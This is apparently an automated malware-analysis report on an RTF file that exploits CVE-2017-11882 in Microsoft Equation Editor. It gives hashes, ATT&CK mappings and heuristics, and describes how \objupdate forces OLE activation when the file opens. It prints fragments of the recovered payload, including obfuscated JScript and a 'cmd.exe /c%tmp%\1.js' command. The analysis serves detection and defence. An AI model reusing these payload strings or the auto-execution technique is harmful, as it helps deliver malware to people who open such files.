RTF malware analysis — malicious · 1dff817e44ea4424

MALICIOUS

RTF

586.8 KB Authoring application: Riched20 6.3.9600 First seen: 2018-06-21

MD5: 3b4c41d27dd70acde685ddc2881ac0e6 SHA-1: 0ae50bf9ee05df34a79eacad3f168c4a24d225df SHA-256: 1dff817e44ea44244a81ec45b4c5b0af788b1a16176faff5004e1c5af1aeca08

340 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Microsoft Equation Editor. This exploit is known to facilitate arbitrary code execution, likely to download and run a secondary payload. The presence of ClamAV's specific detection for this CVE further confirms the exploit's nature.

Heuristics 8

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Package object class high RTF_OBJCLASS_PACKAGE

OLE Package object — can wrap arbitrary files
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000ef.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xEF	296359 bytes
SHA-256: `96c01ca976f2e2f95f46fc3600518baace13b32766c5119007e5446d3016b028`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): WScript[_0x7564[1]];var sn=WScript[_0x7564[2]];var C=_0x7564[3];function ex(_0x46a4x6){return O.ExpandEnvironmentStrings(_0x7564[4]+ _0x46a4x6+ _0x7564[4])}if(fl!= ex(
`objdata_01_off00090c8e.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x90C8E	3546 bytes
SHA-256: `6d2b906ae27d5fa51db13c991ab93dd7b3a660169f667fdb1f009cdf233fdda9`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\1.js AC

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